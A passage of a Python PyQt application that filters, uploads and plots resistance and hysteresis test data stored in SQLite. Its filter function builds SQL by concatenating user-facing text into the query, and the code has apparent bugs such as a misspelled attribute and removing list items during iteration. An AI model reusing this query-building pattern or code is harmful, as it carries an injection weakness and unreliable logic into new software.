in self.checkboxes_orientation:\n sqlcommand = sqlcommand + \"orientation = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_A:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_A:\n sqlcommand = sqlcommand + \"apara = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_B:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_B:\n sqlcommand = sqlcommand + \"bpara = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_F:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_F:\n sqlcommand = sqlcommand + \"fpara = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_G:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_G:\n sqlcommand = sqlcommand + \"gpara = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_direction:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_direction:\n sqlcommand = sqlcommand + \"direction = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_speed:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_speed:\n sqlcommand = sqlcommand + \"speed = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_cycles:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_cycles:\n sqlcommand = sqlcommand + \"cycles = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n if self.checkboxes_steps:\n if notthefirst:\n sqlcommand = sqlcommand + \" AND \"\n sqlcommand = sqlcommand + \"(\"\n for value in self.checkboxes_steps:\n sqlcommand = sqlcommand + \"steps = \" + \"'\" + str(value) + \"'\" + \" OR \"\n sqlcommand = sqlcommand[:-4]\n sqlcommand = sqlcommand + \")\"\n notthefirst = True\n # if no filter was the first filter, the sql statement is empty and the function returns false\n if notthefirst == False:\n return False\n # if the sql statement is not empty, the current project is added to the beginning of the statement and this statement is returned\n else:\n sqlcommand = 'SELECT timestamp FROM database WHERE project = ' + \"'\" + str(current_project) + \"'\" + \" AND \" + sqlcommand\n return sqlcommand\n\n\n # Function to check all checkboxes in every scroll area to know which data was selected\n def checktheboxes(self):\n # first the filters are reset\n self.checkboxes_design = []\n self.checkboxes_sample = []\n self.checkboxes_material = []\n self.checkboxes_print = []\n self.checkboxes_orientation = []\n self.checkboxes_A = []\n self.checkboxes_B = []\n self.checkboxes_F = []\n self.checkboxes_G = []\n self.checkboxes_direction = []\n self.checkboxes_speed = []\n self.checkboxes_cycles = []\n self.checkboxes_steps = []\n # the checkboxes are ordered by the corresponding scroll areas. \n # If any are checked, they are added to the corresponding list by their displayed names\n for i in self.ui.scrollAreaWidgetContents_design.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_design.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_sample.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_sample.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_material.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_material.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_print.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_print.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_orientation.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_orientation.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_A.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_A.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_B.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_B.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_F.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_F.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_G.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_G.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_direction.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_direction.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_speed.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_speed.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_cycles.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_cycles.append(i.text())\n for i in self.ui.scrollAreaWidgetContents_steps.findChildren(QCheckBox):\n if i.isChecked():\n self.checkboxes_steps.append(i.text())\n\n # Function to react to checkbox selection and update the graphs\n def on_checkbox_changed(self):\n current_project = self.ui.comboBox_project.currentText() \n self.toplot = self.ui.comboBox_value.currentText() \n # iterate all checkboxes in all scroll areas and add those that are checked to a list\n self.checktheboxes()\n # A note to which box was changed, for debugging purposes\n #value = self.sender().text()\n #print(\"Checkbox \" + value + \" was changed.\")\n # checkthedata() returns the sql command to be executed or, if no checkboxes are checked, False is returned\n if self.checkthedata():\n datacursor.execute(self.checkthedata())\n # if no checkbox is checked, all the data from current project is selected\n else:\n datacursor.execute(\"SELECT timestamp FROM database WHERE project = ?\", (current_project, ))\n # get the data from the database into a temporary variable\n self.tempdata = datacursor.fetchall()\n # update the detail window with the selected data\n self.set_detailWindow(self.tempdata)\n # get the data from the database and make it usable for the graph\n #self.splitData(self.tempdata)\n\n\n # Function to parse data from a .csv file and add it to the database\n # The file has to follow specific guidelines to be parsed correctly. The bend.py script is used to create the .csv file. (March 2023)\n def onclick_upload(self):\n def parsetestdata(str):\n indicator = str.rfind(\"=\")\n print (str[indicator+1:])\n return str[indicator+1:]\n acheck = False\n bcheck = False\n gcheck = False\n fcheck = False\n projectdata = []\n designdata = []\n sampledata = []\n materialdata = []\n printdata = []\n orientationdata = []\n adata = []\n bdata = []\n gdata = []\n fdata = []\n timestamp = []\n directiondata = []\n speeddata = [] \n cyclesdata = []\n stepsdata = []\n contactsdata = []\n sampleratedata = []\n downsamplingdata = []\n referencedata = []\n\n # Parse the first object in data list up to the first underscore\n searchkey_timestamp = \"Timestamp\"\n searchkey_sample = \"Sample\"\n searchkey_test = \"Test\"\n index_timestamp = self.data.index(searchkey_timestamp)+1\n index_sample = self.data.index(searchkey_sample)+1\n index_test = self.data.index(searchkey_test)+1\n timestamp.append(self.data[index_timestamp])\n samplelist = self.data[index_sample]\n testList = self.data[index_test]\n print(samplelist)\n print(testList)\n projectdata.append(samplelist[0]) \n designdata.append(samplelist[1])\n sampledata.append(samplelist[2])\n materialdata.append(samplelist[3])\n printdata.append(samplelist[4])\n orientationdata.append(samplelist[5])\n # print(projectdata, designdata, sampledata, materialdata, printdata, orientationdata)\n # search for strings in the list beginning with A, B, G, F, T\n for i in range(len(samplelist)):\n if samplelist[i].startswith(\"A\"):\n adata.append(samplelist[i])\n acheck = True\n elif samplelist[i].startswith(\"B\"):\n bdata.append(samplelist[i])\n bcheck = True\n elif samplelist[i].startswith(\"F\"):\n fdata.append(samplelist[i])\n fcheck = True\n elif samplelist[i].startswith(\"G\"):\n gdata.append(samplelist[i])\n gcheck = True\n if acheck == False:\n adata.append(\"A0\")\n if bcheck == False:\n bdata.append(\"B0\")\n if fcheck == False:\n fdata.append(\"F0\")\n if gcheck == False:\n gdata.append(\"G0\")\n # print(adata, bdata, gdata, fdata, timestamp)\n directiondata.append(parsetestdata(testList[0]))\n speeddata.append(parsetestdata(testList[1]))\n cyclesdata.append(parsetestdata(testList[2]))\n stepsdata.append(parsetestdata(testList[3]))\n contactsdata.append(parsetestdata(testList[4]))\n sampleratedata.append(parsetestdata(testList[5]))\n downsamplingdata.append(parsetestdata(testList[6]))\n referencedata.append(parsetestdata(testList[7]))\n # print (directiondata, speeddata, cyclesdata, stepsdata, contactsdata, sampleratedata, downsamplingdata, referencedata)\n\n # Add the data to the database\n for i in range(len(timestamp)):\n datacursor.execute(Q_timestamp, (timestamp[i],))\n datacursor.execute(Q_project, (projectdata[i], timestamp[i]))\n datacursor.execute(Q_design, (designdata[i], timestamp[i]))\n datacursor.execute(Q_sample, (sampledata[i], timestamp[i]))\n datacursor.execute(Q_material, (materialdata[i], timestamp[i]))\n datacursor.execute(Q_print, (printdata[i], timestamp[i]))\n datacursor.execute(Q_orientation, (orientationdata[i], timestamp[i]))\n datacursor.execute(Q_apara, (adata[i], timestamp[i]))\n datacursor.execute(Q_bpara, (bdata[i], timestamp[i]))\n datacursor.execute(Q_gpara, (gdata[i], timestamp[i]))\n datacursor.execute(Q_fpara, (fdata[i], timestamp[i]))\n datacursor.execute(Q_direction, (directiondata[i], timestamp[i]))\n datacursor.execute(Q_speed, (speeddata[i], timestamp[i]))\n datacursor.execute(Q_cycles, (cyclesdata[i], timestamp[i]))\n datacursor.execute(Q_steps, (stepsdata[i], timestamp[i]))\n datacursor.execute(Q_contacts, (contactsdata[i], timestamp[i]))\n datacursor.execute(Q_samplerate, (sampleratedata[i], timestamp[i]))\n datacursor.execute(Q_downsample, (downsamplingdata[i], timestamp[i]))\n datacursor.execute(Q_reference, (referencedata[i], timestamp[i]))\n datacursor.execute(Q_alldata, (self.rawdata[i], timestamp[i]))\n connection_data.commit()\n datacursor_tuple.execute(\"Select timestamp, project, design, sample, material, print, orientation, apara, bpara, fpara, gpara, speed, cycles, steps from database\")\n for x in datacursor_tuple:\n print(x) \n self.ui.label_userinfo.setText(\"Uplaod done. Please press Connect or Upload more samples.\") \n # clear the rawdata list after adding it to the database\n self.rawdata.clear()\n\n def onclick_save(self):\n try:\n root = QFileDialog.getExistingDirectory(self, caption='Save File')\n if root:\n time = 'T' + datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')\n folder_name = \"Datasave_\" + time\n dictionary = os.path.join(root, folder_name)\n os.mkdir(dictionary)\n\n self.cache.save(os.path.join(dictionary, time + '.csv'))\n self.ui.label_userinfo.setText(f'Save successfully!\\nResult is saved to: {dictionary}')\n\n except Exception as e:\n self.ui.label_userinfo.setText(\"Save failed. Error: \" + str(e))\n\n def set_detailWindow(self, timestamps = []):\n timestampslong = []\n for stamp in timestamps:\n timestampslong.append(self.findbytimestamp(stamp))\n self.detailwindow.renew_checkboxes(timestampslong)\n\n\n\n def update_all(self):\n self.ui.label_userinfo.setText(\"Please wait. This may take a while if lots of timestamps were selected.\")\n QApplication.processEvents()\n self.set_detailWindow(self.tempdata)\n timestamps = self.detailwindow.get_timestamps()\n self.splitData(timestamps)\n\n # Function to split the data bulk into different list. This is used when raw data shall be displayed.\n def splitData(self, timestamps = []):\n self.timecount.clear()\n self.stepcount.clear()\n self.R1.clear()\n self.R2.clear() \n self.timestamp.clear()\n # if no timestamp are left, clear both canvas and return\n if len(timestamps) == 0:\n self.ui.label_userinfo.setText(\"No timestamps left. Please change the filters.\")\n self.canvas.clear()\n self.canvas2.clear()\n return\n #remove all timestamps that are not also in self.detailwindow.checked_cb\n for stamp in timestamps:\n if self.findbytimestamp(stamp) in self.detailwindow.unchecked_cb:\n timestamps.remove(stamp)\n else:\n pass \n # get the data from the sql database depending on the timestamp\n for t in range(len(timestamps)):\n self.rawdata.clear()\n datacursor.execute(\"SELECT alldata FROM database WHERE timestamp = ?\", (str(timestamps[t]),))\n self.timestamp.append(timestamps[t]) #.replace(\".\", \"\"))\n #tc = []\n #sc = []\n #r1 = []\n #r2 = []\n #print (timestamps[i])\n for x in datacursor:\n # split data at \\n\n self.rawdata = x.split('\\n') \n self.rawdata.pop() \n #print(self.rawdata)\n # split the data into four lists \n # normalise resistances to the first value\n for raw in range(len(self.rawdata)):\n self.timecount.append(int(self.rawdata[raw].split(',')[0])-int(self.rawdata[0].split(',')[0]))\n #tc.append(int(self.rawdata[raw].split(',')[0])-int(self.rawdata[0].split(',')[0]))\n self.stepcount.append(int(self.rawdata[raw].split(',')[1]))\n #sc.append(int(self.rawdata[raw].split(',')[1]))\n self.R1.append(100*(int(self.rawdata[raw].split(',')[2])-int(self.rawdata[0].split(',')[2]))/int(self.rawdata[0].split(',')[2]))\n #r1.append(100*(int(self.rawdata[raw].split(',')[2])-int(self.rawdata[0].split(',')[2]))/int(self.rawdata[0].split(',')[2]))\n self.R2.append(100*(int(self.rawdata[raw].split(',')[3])-int(self.rawdata[0].split(',')[3]))/int(self.rawdata[0].split(',')[3]))\n #r2.append(100*(int(self.rawdata[raw].split(',')[3])-int(self.rawdata[0].split(',')[3]))/int(self.rawdata[0].split(',')[3]))\n #self.save_table(timestamps[t], tc, sc, r1, r2)\n self.stepcount.append(\"Next\")\n self.R1.append(\"Next\")\n self.R2.append(\"Next\")\n self.timecount.append(\"Next\")\n\n # this calls the function to plot the data\n self.plotupdate()\n \n def plotupdate(self):\n # everything using the self.graphwidgets is commented out because it is not used anymore. self.canvas is used instead.\n #self.graphWidget.clear()\n #self.graphWidget2.clear()\n keyword = \"Next\"\n self.cache.clear()\n\n\n if self.toplot == \"Resistance / Time\":\n self.xtext = \"Time\"\n self.ytext = \"Change in Resistance\"\n self.xunit = \"(ms)\"\n self.yunit = \"(%)\"\n #self.graphWidget.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n #self.graphWidget2.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n counter = 0\n self.canvas.clear()\n self.canvas2.clear()\n\n for t in range(len(self.timestamp)):\n label = self.findbytimestamp(self.timestamp[t])\n self.color = self.colors[counter % 6]\n # get the list up to but not including the next keyword\n temp_timecount = self.timecount[:self.timecount.index(keyword)]\n temp_R1 = self.R1[:self.R1.index(keyword)]\n temp_R2 = self.R2[:self.R2.index(keyword)]\n #self.graphWidget.plotline(temp_timecount, temp_R1, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget2.plotline(temp_timecount, temp_R2, self.findbytimestamp(self.timestamp[t]), self.color)\n self.canvas.plot_line(temp_timecount, temp_R1, self.color, label)\n self.canvas.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n self.canvas2.plot_line(temp_timecount, temp_R2, self.color, label)\n self.canvas2.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n # delete the list up to the next keyword\n self.cache.append(label)\n result = []\n for i in range(len(temp_timecount)):\n result.append([temp_timecount[i], temp_R1[i], temp_R2[i]])\n self.cache.append(result)\n #print (self.cache.data)\n del self.timecount[:self.timecount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n counter += 1\n\n\n\n elif self.toplot == \"Hysteresis raw\":\n self.xtext = \"Step\"\n self.ytext = \"Change in Resistance\"\n self.xunit = \"\"\n self.yunit = \"(%)\"\n #self.graphWidget.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n #self.graphWidget2.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n counter = 0\n maxstepreached = False\n cyclebreaks = [0]\n self.canvas.clear()\n self.canvas2.clear()\n \n\n for t in range(len(self.timestamp)):\n label = self.findbytimestamp(self.timestamp[t])\n datacursor.execute(\"SELECT steps FROM database WHERE timestamp = ?\", (self.timestamp[t],))\n max_step = datacursor.fetchall()[0]\n self.color = self.colors[counter % 6]\n # get the list up to but not including the next keyword\n temp_stepcount = self.stepcount[:self.stepcount.index(keyword)]\n temp_R1 = self.R1[:self.R1.index(keyword)]\n temp_R2 = self.R2[:self.R2.index(keyword)]\n for i in range(len(temp_stepcount)):\n if max_step-temp_stepcount[i] <=15:\n maxstepreached = True\n if maxstepreached == True and temp_stepcount[i] <= 15:\n cyclebreaks.append(i)\n maxstepreached = False\n elif maxstepreached == True and i == len(temp_stepcount)-1:\n cyclebreaks.append(i)\n maxstepreached = False\n\n # create a list from temp_stepcount from cyclebreak to cyclebreak\n temp_stepcount = temp_stepcount[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n temp_R1 = temp_R1[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n temp_R2 = temp_R2[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n #self.graphWidget.plotline(temp_stepcount, temp_R1, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget2.plotline(temp_stepcount, temp_R2, self.findbytimestamp(self.timestamp[t]), self.color)\n self.canvas.plot_dot(temp_stepcount, temp_R1, self.color, 5, label)\n self.canvas.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n self.canvas2.plot_dot(temp_stepcount, temp_R2, self.color, 5, label)\n self.canvas2.update_axes(self.toplot, self.xtext + \" \" + self.xunit, self.ytext + \" \" + self.yunit)\n # delete the list up to the next keyword\n del self.stepcount[:self.stepcount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n counter += 1\n\n elif self.toplot == \"Hysteresis interpol.\":\n self.xtext = \"Step\"\n self.ytext = \"Change in Resistance\"\n self.xunit = \"\"\n self.yunit = \"(%)\"\n #self.graphWidget.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n #self.graphWidget2.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n counter = 0\n maxstepreached = False\n cyclebreaks = [0]\n halfcyclebreaks = [0]\n self.canvas.clear()\n self.canvas2.clear()\n \n \n\n for t in range(len(self.timestamp)):\n datacursor.execute(\"SELECT steps FROM database WHERE timestamp = ?\", (self.timestamp[t],))\n max_step = datacursor.fetchall()[0]\n label = self.findbytimestamp(self.timestamp[t])\n self.color = self.colors[counter % 6]\n halfcyclebreaks = []\n halfcyclebreaks.append(0)\n cyclebreaks = [0]\n # get the list up to but not including the next keyword\n temp_stepcount = self.stepcount[:self.stepcount.index(keyword)]\n temp_R1 = self.R1[:self.R1.index(keyword)]\n temp_R2 = self.R2[:self.R2.index(keyword)]\n for i in range(len(temp_stepcount)):\n if maxstepreached == False and max_step-temp_stepcount[i] <=14:\n halfcyclebreaks.append(i)\n maxstepreached = True\n if maxstepreached == True and temp_stepcount[i] <= 14:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n elif maxstepreached == True and i == len(temp_stepcount)-1:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n\n #function to interpolate the data \n #print(halfcyclebreaks) \n iternum = self.ui.spinBox_cycleEnd.value() - self.ui.spinBox_cycle.value()+1\n print (len(halfcyclebreaks))\n for iter in range(iternum):\n if iter > 0:\n label = None\n lowercycle = self.ui.spinBox_cycle.value()+iter\n upwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]] \n downwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n #find indices of duplicates\n seen = {}\n unique_indices = []\n for i, x in enumerate(upwardssteps):\n if x not in seen:\n seen[x] = i\n unique_indices.append(i)\n\n # Update the lists using the unique indices\n upwardssteps = [upwardssteps[i] for i in unique_indices]\n upwardsR1 = [upwardsR1[i] for i in unique_indices]\n upwardsR2 = [upwardsR2[i] for i in unique_indices]\n #seen = set()\n #indices = [i for i, x in enumerate(upwardssteps) if upwardssteps.count(x) > 1 and x not in seen and not seen.add(x)]\n #delete duplicates\n #if indices:\n # for index in reversed(indices):\n # del upwardssteps[index]\n # del upwardsR1[index]\n # del upwardsR2[index]\n seen = {}\n unique_indices = []\n for i, x in enumerate(downwardssteps):\n if x not in seen:\n seen[x] = i\n unique_indices.append(i)\n\n # Update the lists using the unique indices\n downwardssteps = [downwardssteps[i] for i in unique_indices]\n downwardsR1 = [downwardsR1[i] for i in unique_indices]\n downwardsR2 = [downwardsR2[i] for i in unique_indices]\n #seen = set()\n #indices = [i for i, x in enumerate(downwardssteps) if downwardssteps.count(x) > 1 and x not in seen and not seen.add(x)]\n #if indices:\n # for index in reversed(indices):\n # del downwardssteps[index]\n # del downwardsR1[index]\n # del downwardsR2[index]\n mykind = 'cubic'\n predictupwards_r1 = interp1d(upwardssteps, upwardsR1, kind=mykind, bounds_error=False, fill_value=(upwardsR1[0], upwardsR1[-1]))\n predictdownwards_r1 = interp1d(downwardssteps, downwardsR1, kind=mykind, bounds_error=False, fill_value=(downwardsR1[-1], downwardsR1[0]))\n predictupwards_r2 = interp1d(upwardssteps, upwardsR2, kind=mykind, bounds_error=False, fill_value=(upwardsR2[0], upwardsR2[-1]))\n predictdownwards_r2 = interp1d(downwardssteps, downwardsR2, kind=mykind, bounds_error=False, fill_value=(downwardsR2[-1], downwardsR2[0]))\n stepcount_detail = list(range(0, max_step+1))\n pu_r1 = ndimage.gaussian_filter1d(predictupwards_r1(stepcount_detail), self.gaussian_filter)\n pd_r1 = ndimage.gaussian_filter1d(predictdownwards_r1(stepcount_detail), self.gaussian_filter)\n pu_r2 = ndimage.gaussian_filter1d(predictupwards_r2(stepcount_detail), self.gaussian_filter)\n pd_r2 = ndimage.gaussian_filter1d(predictdownwards_r2(stepcount_detail), self.gaussian_filter)\n error1 = np.mean(np.abs(pu_r1 - pd_r1))\n error2 = np.mean(np.abs(pu_r2 - pd_r2))\n #print (stepcount_detail)\n #upwardcurve = np.array([predictupwards(x) for x in stepcount_detail])\n #print(upwardcurve)\n #downwardcurve = np.array([predictdownwards(x) for x in stepcount_detail])\n #self.graphWidget.plotline(stepcount_detail, upwardcurve, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget.plotline(stepcount_detail, downwardcurve, self.findbytimestamp(self.timestamp[t]), self.color)\n #counter+=1\n #self.color = self.colors[counter % 6]\n #self.graphWidget.plotline(stepcount_detail, pu_r1, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget.plotline(stepcount_detail, pd_r1, str(error1), self.color)\n self.canvas.plot_line(stepcount_detail, pu_r1, self.color, label)\n self.canvas.plot_dot(upwardssteps, upwardsR1, self.color, 5, None)\n if len(self.timestamp) == 1:\n if iternum == 1:\n counter += 1\n self.color = self.colors[counter % 6]\n self.canvas.plot_line(stepcount_detail, pd_r1, self.color, None)\n self.canvas.plot_dot(downwardssteps, downwardsR1, self.color, 5, None)\n if len(self.timestamp) == 1:\n if iternum == 1:\n counter -= 1\n self.color = self.colors[counter % 6]\n self.canvas.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n self.canvas2.plot_line(stepcount_detail, pu_r2, self.color, label)\n self.canvas2.plot_dot(upwardssteps, upwardsR2, self.color, 5, None)\n if len(self.timestamp) == 1:\n if iternum == 1:\n counter += 1\n self.color = self.colors[counter % 6]\n self.canvas2.plot_line(stepcount_detail, pd_r2, self.color, None)\n self.canvas2.plot_dot(downwardssteps, downwardsR2, self.color, 5, None)\n self.canvas2.update_axes(self.toplot, self.xtext+\" \"+self.xunit, self.ytext+\" \"+self.yunit)\n if len(self.timestamp) == 1:\n if iternum > 1:\n counter += 1\n self.color = self.colors[counter % 6]\n #self.graphWidget2.plotline(stepcount_detail, pu_r2, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget2.plotline(stepcount_detail, pd_r2, str(error2), self.color)\n # create a list from temp_stepcount from cyclebreak to cyclebreak\n #temp_stepcount = temp_stepcount[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n #temp_R1 = temp_R1[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n #temp_R2 = temp_R2[cyclebreaks[self.ui.spinBox_cycle.value()-1]:cyclebreaks[self.ui.spinBox_cycleEnd.value()]]\n #self.graphWidget.plotline(temp_stepcount, temp_R1, self.findbytimestamp(self.timestamp[t]), self.color)\n #self.graphWidget2.plotline(temp_stepcount, temp_R2, self.findbytimestamp(self.timestamp[t]), self.color)\n # delete the list up to the next keyword\n del self.stepcount[:self.stepcount.index(keyword)+1]\n del self.R1[:self.R1.index(keyword)+1]\n del self.R2[:self.R2.index(keyword)+1]\n counter += 1\n\n elif self.toplot == \"1\":\n self.xtext = \"Step\"\n self.ytext = \"Change in Resistance\"\n self.xunit = \"\"\n self.yunit = \"(%)\"\n #self.graphWidget.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n #self.graphWidget2.refresh(self.xtext, self.xunit, self.ytext, self.yunit)\n counter = 0\n maxstepreached = False\n cyclebreaks = [0]\n halfcyclebreaks = [0]\n self.canvas.clear()\n self.canvas2.clear()\n \n \n\n for t in range(len(self.timestamp)):\n datacursor.execute(\"SELECT steps FROM database WHERE timestamp = ?\", (self.timestamp[t],))\n max_step = datacursor.fetchall()[0]\n label = self.findbytimestamp(self.timestamp[t])\n self.color = self.colors[counter % 6]\n halfcyclebreaks = [0]\n cyclebreaks = [0]\n # get the list up to but not including the next keyword\n temp_stepcount = self.stepcount[:self.stepcount.index(keyword)]\n temp_R1 = self.R1[:self.R1.index(keyword)]\n temp_R2 = self.R2[:self.R2.index(keyword)]\n for i in range(len(temp_stepcount)):\n if maxstepreached == False and max_step-temp_stepcount[i] <=4:\n halfcyclebreaks.append(i)\n maxstepreached = True\n if maxstepreached == True and temp_stepcount[i] <= 4:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n elif maxstepreached == True and i == len(temp_stepcount)-1:\n cyclebreaks.append(i)\n halfcyclebreaks.append(i)\n maxstepreached = False\n\n #function to interpolate the data \n #print(halfcyclebreaks) \n iternum = self.ui.spinBox_cycleEnd.value() - self.ui.spinBox_cycle.value() + 1\n for iter in range(iternum):\n if iter > 0:\n label = None\n lowercycle = self.ui.spinBox_cycle.value()+iter\n upwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]] \n downwardssteps = temp_stepcount[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR1 = temp_R1[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n upwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-2]:halfcyclebreaks[2*lowercycle-1]]\n downwardsR2 = temp_R2[halfcyclebreaks[2*lowercycle-1]:halfcyclebreaks[2*lowercycle]]\n #find indices of duplicates\n seen = set()\n indices = [i for i, x in enumerate(upwardssteps) if upwardssteps.count(x) > 1 and x not in seen and not seen.add(x)]\n #delete duplicates\n if indices:\n for index in reversed(indices):\n del upwardssteps[index]\n del upwardsR1[index]\n del upwardsR2[index]\n seen = set()\n indices = [i for i, x in enumerate(downwardssteps) if downwardssteps.count(x) > 1 and x not in seen and not seen.add(x)]\n if indices:\n for index in reversed(indices):\n del downwardssteps[index]\n del downwardsR1[index]\n del downwardsR2[index]\n mykind = 'cubic'\n predictupwards_r1 = interp1d(upwardssteps, upwardsR1, kind=mykind, bounds_error=False, fill_value=(upwardsR1[0], upwardsR1[-1]))\n predictdownwards_r1 = interp1d(downwardssteps, downwardsR1, kind=mykind, bounds_error=False, fill_value=(downwardsR1[-1], downwardsR1[0]))\n predictupwards_r2 = interp1d(upwardssteps, upwardsR2, kind=mykind, bounds_error=False, fill_value=(upwardsR2[0], upwardsR2[-1]))\n predictdownwards_r2 = interp1d(downwardssteps, downwardsR2, kind=mykind, bounds_error=False, fill_value=(downwardsR2[-1], downwardsR2[0]))\n stepcount_detail = list(range(0, max_step+1))\n pu_r1 = ndimage.gaussian_filter1d(predictupwards_r1(stepcount_detail), self.gaussion_filter)\n pd_r1 = ndimage.gaussian_filter1d(predictdownwards_r1(stepcount_detail), self.gaussion_filter)\n pu_r2 = ndimage.gaussian_filter1d(predictupwards_r2(stepcount_detail), self.gaussion_filter)\n pd_r2 = ndimage.gaussian_filter1d(predictdownwards_r2(stepcount_detail), self.gaussion_filter)\n error1 = np.mean(np.abs(pu_r1 - pd_r1))\n error2 = np.mean(np.abs(pu_r2 - pd_r2))\n #print (stepcount_detail)\n #upwardcurve = np.array([predictupwards(x) for x in stepcount_detail])\n #print(upwardcurve)\n #downwardcurve = np.array([predictdownwards(x) for x in stepcount_detail])\n 